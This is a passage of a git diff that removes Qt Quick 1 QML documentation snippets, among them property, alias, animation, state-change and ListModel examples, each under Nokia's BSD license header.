- -Item { - id: printstate -//! [print list property] - Component.onCompleted: console.log (multistate.states[0].name) -//! [print list property] -} - -//! [JavaScript sample] -function calculateArea(width, height) { - return (width * height) * 0.5 -} - -Rectangle { - width: 150; height: 75 - property real area: calculateArea(width, height) - property real parentArea: calculateArea(parent.width,parent.height) - color: { if (area > parentArea) "blue"; else "red" } -} -//! [JavaScript sample] - -//! [id property] -Rectangle { - id: container - width: 100; height: 100 - Rectangle { - width: parent.width; height: parent.height - } -} -Rectangle { - width: container.width; height: container.height -} -//! [id property] - -//! [default property] -Item { - Text {} - Rectangle {} - Timer {} -} - -Item { - //without default property - children: [ - Text {}, - Rectangle {} - ] - resources: [ - Timer {} - ] -} -//! [default property] - -//! [state default] -State { - changes: [ - PropertyChanges {}, - PropertyChanges {} - ] -} - -State { - PropertyChanges {} - PropertyChanges {} -} -//! [state default] - -//! [object binding] -Rectangle { - - id: parentrectangle - gradient: - Gradient { //not a child of parentrectangle - - //generates a TypeError - //Component.onCompleted: console.log(parent.width) - } - - //child of parentrectangle - Rectangle {property string name: "childrectangle"} - - //prints "childrectangle" - Component.onCompleted: console.log(children[0].name) -} -//! [object binding] - -//! [list attached property] -Component { - id: listdelegate - Text { - text: "Hello" - color: ListView.isCurrentItem ? "red" : "blue" - } -} -ListView { - delegate: listdelegate -} -//! [list attached property] - -//! [attached signal handler] -Item { - Keys.onPressed: console.log("Key Press Detected") - Component.onCompleted: console.log("Completed initialization") -} -//! [attached signal handler] - -//! [alias usage] -Button { - id: textbutton - buttonLabel: "Click Me!" -} -//! [alias usage] - -//! [image alias] -Button { - id: imagebutton - buttonImage.source: "http://qt.nokia.com/logo.png" - buttonLabel: buttonImage.source -} -//! [image alias] - -Item { -id: widget - -//! [alias complete] -property alias widgetLabel: label - -//will generate an error -//widgetLabel.text: "Initial text" - -//will generate an error -//property alias widgetLabelText: widgetLabel.text - -Component.onCompleted: widgetLabel.text = "Alias completed Initialization" -//! [alias complete] - - Text {id: label} -} - -//![alias overwrite] -Rectangle { - id: coloredrectangle - property alias color: bluerectangle.color - color: "red" - - Rectangle { - id: bluerectangle - color: "#1234ff" - } - - Component.onCompleted: { - console.log (coloredrectangle.color) //prints "#1234ff" - setInternalColor() - console.log (coloredrectangle.color) //prints "#111111" - coloredrectangle.color = "#884646" - console.log (coloredrectangle.color) //prints #884646 - } - - //internal function that has access to internal properties - function setInternalColor() { - color = "#111111" - } -} -//![alias overwrite] -//! [parent end] -} -//! [parent end] -//! [document] diff --git a/doc/src/snippets/qtquick1/propertyaction-sequential.qml b/doc/src/snippets/qtquick1/propertyaction-sequential.qml deleted file mode 100644 index 05a6552710..0000000000 --- a/doc/src/snippets/qtquick1/propertyaction-sequential.qml +++ /dev/null @@ -1,72 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -Row { - - Item { - width: 400; height: 400 - - Rectangle { - id: rect - width: 200; height: 100 - color: "red" - - states: State { - name: "rotated" - PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight } - } - - //! [sequential] - transitions: Transition { - SequentialAnimation { - PropertyAction { target: rect; property: "transformOrigin" } - RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise } - } - } - //! [sequential] - - MouseArea { - anchors.fill: parent - onClicked: rect.state = "rotated" - } - } - } -} diff --git a/doc/src/snippets/qtquick1/propertyaction.qml b/doc/src/snippets/qtquick1/propertyaction.qml deleted file mode 100644 index b5b81c0464..0000000000 --- a/doc/src/snippets/qtquick1/propertyaction.qml +++ /dev/null @@ -1,83 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -Row { - - //![transition] - Item { - width: 400; height: 400 - - Rectangle { - id: rect - width: 200; height: 100 - color: "red" - - states: State { - name: "rotated" - PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight } - } - - transitions: Transition { - RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise } - } - - MouseArea { - anchors.fill: parent - onClicked: rect.state = "rotated" - } - } - } - //![transition] - - Item { - width: 300; height: 300 - - Image { id: img; source: "pics/qt.png" } - - //![standalone] - SequentialAnimation { - PropertyAction { target: img; property: "smooth"; value: "true" } - NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 } - PropertyAction { target: img; property: "smooth"; value: "false" } - } - //![standalone] - } -} diff --git a/doc/src/snippets/qtquick1/propertyanimation.qml b/doc/src/snippets/qtquick1/propertyanimation.qml deleted file mode 100644 index a68a31b549..0000000000 --- a/doc/src/snippets/qtquick1/propertyanimation.qml +++ /dev/null @@ -1,100 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Row { - -//![transition] -Rectangle { - id: rect - width: 100; height: 100 - color: "red" - - //! [single state] - states: State { - name: "moved" - PropertyChanges { target: rect; x: 50 } - } - //! [single state] - - transitions: Transition { - PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad } - } -} -//![transition] - -//![behavior] -Rectangle { - width: 100; height: 100 - color: "red" - - Behavior on x { PropertyAnimation {} } - - MouseArea { anchors.fill: parent; onClicked: parent.x = 50 } -} -//![behavior] - -//![propertyvaluesource] -Rectangle { - width: 100; height: 100 - color: "red" - - SequentialAnimation on x { - loops: Animation.Infinite - PropertyAnimation { to: 50 } - PropertyAnimation { to: 0 } - } -} -//![propertyvaluesource] - - //![standalone] - Rectangle { - id: theRect - width: 100; height: 100 - color: "red" - - // this is a standalone animation, it's not running by default - PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 } - - MouseArea { anchors.fill: parent; onClicked: animation.running = true } - } - //![standalone] -} diff --git a/doc/src/snippets/qtquick1/propertychanges.qml b/doc/src/snippets/qtquick1/propertychanges.qml deleted file mode 100644 index d12beba907..0000000000 --- a/doc/src/snippets/qtquick1/propertychanges.qml +++ /dev/null @@ -1,91 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![import] -import QtQuick 1.0 -//![import] - -Column { - -//![0] -Item { - id: container - width: 300; height: 300 - - Rectangle { - id: rect - width: 100; height: 100 - color: "red" - - MouseArea { - id: mouseArea - anchors.fill: parent - } - - states: State { - name: "resized"; when: mouseArea.pressed - PropertyChanges { target: rect; color: "blue"; height: container.height } - } - } -} -//![0] - -//![reset] -Rectangle { - width: 300; height: 200 - - Text { - id: myText - width: 50 - wrapMode: Text.WordWrap - text: "a text string that is longer than 50 pixels" - - states: State { - name: "widerText" - PropertyChanges { target: myText; width: undefined } - } - } - - MouseArea { - anchors.fill: parent - onClicked: myText.state = "widerText" - } -} -//![reset] -} diff --git a/doc/src/snippets/qtquick1/qml-data-models/dynamic-listmodel.qml b/doc/src/snippets/qtquick1/qml-data-models/dynamic-listmodel.qml deleted file mode 100644 index 3dc7134dc7..0000000000 --- a/doc/src/snippets/qtquick1/qml-data-models/dynamic-listmodel.qml +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - width: 200; height: 250 - - //! [model] - ListModel { id: fruitModel } - //! [model] - - //! [view] - ListView { - anchors.fill: parent - model: fruitModel - delegate: Row { - Text { text: "Fruit: " + name } - Text { text: "Cost: $" + cost } - } - } - //! [view] - - //! [mouse area] - MouseArea { - anchors.fill: parent - onClicked: fruitModel.append({"cost": 5.95, "name":"Pizza"}) - } - //! [mouse area] -} diff --git a/doc/src/snippets/qtquick1/qml-data-models/listelements.qml b/doc/src/snippets/qtquick1/qml-data-models/listelements.qml deleted file mode 100644 index 1c16d46ba6..0000000000 --- a/doc/src/snippets/qtquick1/qml-data-models/listelements.qml +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Item { - width: 200; height: 250 - - //! [model] - ListModel { - id: fruitModel - - ListElement { - name: "Apple" - cost: 2.45 - } - ListElement { - name: "Orange" - cost: 3.25 - } - ListElement { - name: "Banana" - cost: 1.95 - } - } - //! [model] - - //! [view] - ListView { - anchors.fill: parent - model: fruitModel - delegate: Row { - Text { text: "Fruit: " + name } - Text { text: "Cost: $" + cost } - } - } - //! [view] -} -//! [document] diff --git a/doc/src/snippets/qtquick1/qml-data-models/listmodel-listview.qml b/doc/src/snippets/qtquick1/qml-data-models/listmodel-listview.qml deleted file mode 100644 index 9a35cd6dd5..0000000000 --- a/doc/src/snippets/qtquick1/qml-data-models/listmodel-listview.qml +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Item { - width: 200; height: 250 - - ListModel { - id: myModel - ListElement { type: "Dog"; age: 8 } - ListElement { type: "Cat"; age: 5 } - } - - Component { - id: myDelegate - Text { text: type + ", " + age } - } - - ListView { - anchors.fill: parent - model: myModel - delegate: myDelegate - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/qml-documents/inline-component.qml b/doc/src/snippets/qtquick1/qml-documents/inline-component.qml deleted file mode 100644 index 87002b6117..0000000000 --- a/doc/src/snippets/qtquick1/qml-documents/inline-component.qml +++ /dev/null @@ -1,57 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Rectangle { - width: 240; height: 320; - - ListView { - anchors.fill: parent - model: contactModel - delegate: Component { - Text { - text: modelData.firstName + " " + modelData.lastName - } - } - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/qml-documents/inline-text-component.qml b/doc/src/snippets/qtquick1/qml-documents/inline-text-component.qml deleted file mode 100644 index 89c7d20ef7..0000000000 --- a/doc/src/snippets/qtquick1/qml-documents/inline-text-component.qml +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Rectangle { - width: 240; height: 320; - - ListView { - anchors.fill: parent - model: contactModel - delegate: Text { - text: modelData.firstName + " " + modelData.lastName - } - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/qml-documents/non-trivial.qml b/doc/src/snippets/qtquick1/qml-documents/non-trivial.qml deleted file mode 100644 index 20f58e1ab7..0000000000 --- a/doc/src/snippets/qtquick1/qml-documents/non-trivial.qml +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Rectangle { - width: 240; height: 320; - - resources: [ - Component { - id: contactDelegate - Text { - text: modelData.firstName + " " + modelData.lastName - } - } - ] - - ListView { - anchors.fill: parent - model: contactModel - delegate: contactDelegate - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/qml-documents/qmldocuments.qml b/doc/src/snippets/qtquick1/qml-documents/qmldocuments.qml deleted file mode 100644 index 4e082e276f..0000000000 --- a/doc/src/snippets/qtquick1/qml-documents/qmldocuments.qml +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF 